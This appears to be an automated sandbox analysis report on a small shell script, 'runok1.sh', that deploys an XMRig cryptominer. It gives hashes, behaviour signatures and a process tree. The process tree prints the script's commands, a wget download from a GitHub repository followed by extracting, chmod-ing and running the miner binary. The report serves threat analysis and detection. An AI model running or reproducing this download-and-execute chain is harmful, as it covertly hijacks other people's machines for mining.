Analysis

  • max time kernel
    1799s
  • max time network
    1783s
  • platform
    ubuntu-22.04_amd64
  • resource
    ubuntu2204-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2204-amd64-20240729-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system
  • submitted
    17-10-2024 04:13

General

  • Target

    runok1.sh

  • Size

    138B

  • MD5

    ed44ae7cc01f7bcc21c98a523afabd7c

  • SHA1

    4e7f50162eeb61715a948d3359639c6910088860

  • SHA256

    1663e111eceb895f9be9e87c6cfda675e506cd8ec88d144fd1a2b5dc7081d0de

  • SHA512

    e1c895b50b2b259d40501497ae4f9b2bb77b2d8713cd584d9c83cab82898f5e134ba6c8320810bf649867156494ea5b656143b71e269c9490da210d48a52982c

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 6 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/runok1.sh
    /tmp/runok1.sh
    1⤵
      PID:1568
      • /usr/bin/wget
        wget https://github.com/orkaroeli/orkaroeliminer/raw/refs/heads/main/ok.tar.gz
        2⤵
        • Writes file to tmp directory
        PID:1569
      • /usr/bin/tar
        tar xvf ok.tar.gz
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:1581
        • /usr/local/sbin/gzip
          gzip -d
          3⤵
            PID:1582
          • /usr/local/bin/gzip
            gzip -d
            3⤵
              PID:1582
            • /usr/sbin/gzip
              gzip -d
              3⤵
                PID:1582
              • /usr/bin/gzip
                gzip -d
                3⤵
                  PID:1582
              • /usr/bin/chmod
                chmod +x xmrig
                2⤵
                • File and Directory Permissions Modification
                PID:1583
              • /tmp/ok/xmrig
                ./xmrig
                2⤵
                • Executes dropped EXE
                • Checks hardware identifiers (DMI)
                • Reads hardware information
                • Checks CPU configuration
                • Reads CPU attributes
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:1584

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • /root/.wget-hsts

              Filesize

              215B

              MD5

              b3071552f6bd22d2cb0661331c98a883

              SHA1

              7bb3fe0a516167c52e9ef4c72815d45351a65477

              SHA256

              87679fe052039e400d6cb5f0184f6d0cef7572ab6899d5bb76b115ae754f2da7

              SHA512

              23ce89dfdc4c160b7d808659bc0290afa80a789206aeca24254f0e1e80739ddcab580159fa73702cb237662e430cbd07308413f44ae432c12acf49c97081a8f7

            • /tmp/ok.tar.gz

              Filesize

              2.9MB

              MD5

              7cfcd8684e6e5c13287c16e6c40c5efb

              SHA1

              3e9202eb800602aa947b7a48cabadb4bd9742b35

              SHA256

              6c8df670c44f35e0015cd709b975e5e8a6616ca346b602d3ea4f3894ddf777ca

              SHA512

              679a968ef46605ec78ad9b72b594b96ae28ca73ea99f892ed5c69b5f264d76e03db60caa13454cf7b7d28a99dffcb134b4ce3b25f00c37846999cbbae22c4b94

            • /tmp/ok/SHA256SUMS

              Filesize

              150B

              MD5

              7fd26dcea92a3ad3561867c5735c8ecc

              SHA1

              400fe1a03ef6d4520b88f0c63002266586cdaa0f

              SHA256

              c2db0386506ea30d3b7c375ff40dfc875c2aa7961beb7806a36cf12fc10405b6

              SHA512

              b114cee7f7da66afc53aca2013c63ed0d12740cca8ad46a5164789fe33f1889a2ec313186a29c4fc1dd30a11041db31bb307be1884e15680f4b7627143cbf6d8

            • /tmp/ok/config.json

              Filesize

              2KB

              MD5

              06a36033ace7787c6d0677950a5e9f7f

              SHA1

              f052c6419d293febe45fd3d9a9be4808854f1a5b

              SHA256

              ce35d1da303888ed10bd705dbb12c3319cc76fb5341df3ef08dd06a7953a3f4d

              SHA512

              61a039548095de8cd7f7303175aadad78934548437a101c0dffbaf0346bf0504bcbcadaadd55b8d4df160b4bf6e482245973ccbe75857da149dc45d07f49c02b

            • /tmp/ok/config.json

              Filesize

              1KB

              MD5

              1879742a3f028a8e227f3b6b51756269

              SHA1

              20365c0cf35e787f525baede3646cfdfe6001cba

              SHA256

              4042908287a7c60eb515d2c180a03d25156b4001af6cba1ad823461cc86751c5

              SHA512

              e7d918532dd029a53b803df0df2e4e61416e18b58ffabe18b542cd30b111f266e98d73aad8ffe62a79af50e4f21d7e19415ee03ff104eb36aaad2cf1903e9731

            • /tmp/ok/xmrig

              Filesize

              6.7MB

              MD5

              8f633ade35df4f992eb28a2c5bc37cef

              SHA1

              6b2fe529339896b22328dec8936219e7b8e3252f

              SHA256

              364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c

              SHA512

              8073ded4e0b5d6333ecb0b324cf09c023dfa99c6110ad6f86225f1a4b9a0dcdf88bd094da9c920a8b729c020990dba9f263481030dec463ab9fbc41cba050c73